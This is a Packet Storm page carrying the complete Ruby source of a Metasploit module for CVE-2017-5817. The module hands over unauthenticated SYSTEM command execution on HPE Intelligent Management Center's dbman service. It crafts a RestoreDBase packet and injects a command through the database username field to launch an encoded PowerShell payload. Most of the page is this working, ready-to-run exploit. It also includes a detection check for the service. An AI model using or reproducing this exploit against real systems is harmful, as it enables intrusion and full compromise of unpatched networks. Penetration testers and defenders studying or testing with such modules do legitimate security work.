exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

HPE iMC dbman RestoreDBase Unauthenticated Remote Command Execution

HPE iMC dbman RestoreDBase Unauthenticated Remote Command Execution
Posted Jan 10, 2018
Authored by Chris Lyne, sztivi | Site metasploit.com

This Metasploit module exploits a remote command execution vulnerability in Hewlett Packard Enterprise Intelligent Management Center before version 7.3 E0504P04. The dbman service allows unauthenticated remote users to restore a user-specified database (OpCode 10007), however the database connection username is not sanitized resulting in command injection, allowing execution of arbitrary operating system commands as SYSTEM. This service listens on TCP port 2810 by default. This Metasploit module has been tested successfully on iMC PLAT v7.2 (E0403) on Windows 7 SP1 (EN).

tags | exploit, remote, arbitrary, tcp
systems | windows
advisories | CVE-2017-5817
SHA-256 | 6e617c9e2dc52b8e3176ccf763528cbf0564f66df4920f7c15aa5b7cd694b5ea

HPE iMC dbman RestoreDBase Unauthenticated Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'HPE iMC dbman RestoreDBase Unauthenticated RCE',
'Description' => %q{
This module exploits a remote command execution vulnerablity in
Hewlett Packard Enterprise Intelligent Management Center before
version 7.3 E0504P04.

The dbman service allows unauthenticated remote users to restore
a user-specified database (OpCode 10007), however the database
connection username is not sanitized resulting in command injection,
allowing execution of arbitrary operating system commands as SYSTEM.
This service listens on TCP port 2810 by default.

This module has been tested successfully on iMC PLAT v7.2 (E0403)
on Windows 7 SP1 (EN).
},
'License' => MSF_LICENSE,
'Author' =>
[
'sztivi', # Discovery
'Chris Lyne', # Python PoC (@lynerc)
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['CVE', '2017-5817'],
['EDB', '43195'],
['ZDI', '17-341'],
['URL', 'https://www.securityfocus.com/bid/98469/info'],
['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
],
'Platform' => 'win',
'Targets' => [['Automatic', {}]],
'Payload' => { 'BadChars' => "\x00" },
'DefaultOptions' => { 'WfsDelay' => 15 },
'Privileged' => true,
'DisclosureDate' => 'May 15 2017',
'DefaultTarget' => 0))
register_options [Opt::RPORT(2810)]
end

def check
# empty RestoreDBase packet
pkt = [10007].pack('N')

connect
sock.put pkt
res = sock.get_once
disconnect

# Expected reply:
# "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
return CheckCode::Detected if res =~ /dbman/i

CheckCode::Safe
end

def dbman_msg(database_user)
data = ''

db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
database_type = "\x03" # MySQL
restore_type = 'MANUAL'
database_password = rand_text_alpha rand(1..5)
database_port = rand_text_alpha rand(1..5)
database_instance = rand_text_alpha rand(1..5)
junk = rand_text_alpha rand(1..5)

# database ip
data << "\x04"
data << [db_ip.length].pack('C')
data << db_ip

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# junk
data << "\x04"
data << [junk.length].pack('C')
data << junk

# ???
data << "\x02\x01\x01"

# database type
data << "\x02"
data << [database_type.length].pack('C')
data << database_type

# restore type
data << "\x04"
data << [restore_type.length].pack('C')
data << restore_type

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# database user
data << "\x04"
data << "\x82"
data << [database_user.length].pack('n')
data << database_user

# database password
data << "\x04"
data << [database_password.length].pack('C')
data << database_password

# database port
data << "\x04"
data << [database_port.length].pack('C')
data << database_port

# database instance
data << "\x04"
data << [database_instance.length].pack('C')
data << database_instance

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# ???
data << "\x30\x00"
data << "\x02\x01\x01"

data
end

def dbman_restoredbase_pkt(database_user)
data = dbman_msg database_user

# opcode 10007 (RestoreDBase)
pkt = [10007].pack('N')

# packet length
pkt << "\x00\x00"
pkt << [data.length + 4].pack('n')

# packet data length
pkt << "\x30\x82"
pkt << [data.length].pack('n')

# packet data
pkt << data

pkt
end

def execute_command(cmd, _opts = {})
connect
sock.put dbman_restoredbase_pkt "\"& #{cmd} &"
disconnect
end

def exploit
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)

if command.length > 8000
fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
end

print_status "Sending payload (#{command.length} bytes)..."
execute_command command
end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    15 Files
  • 29
    Aug 29th
    41 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close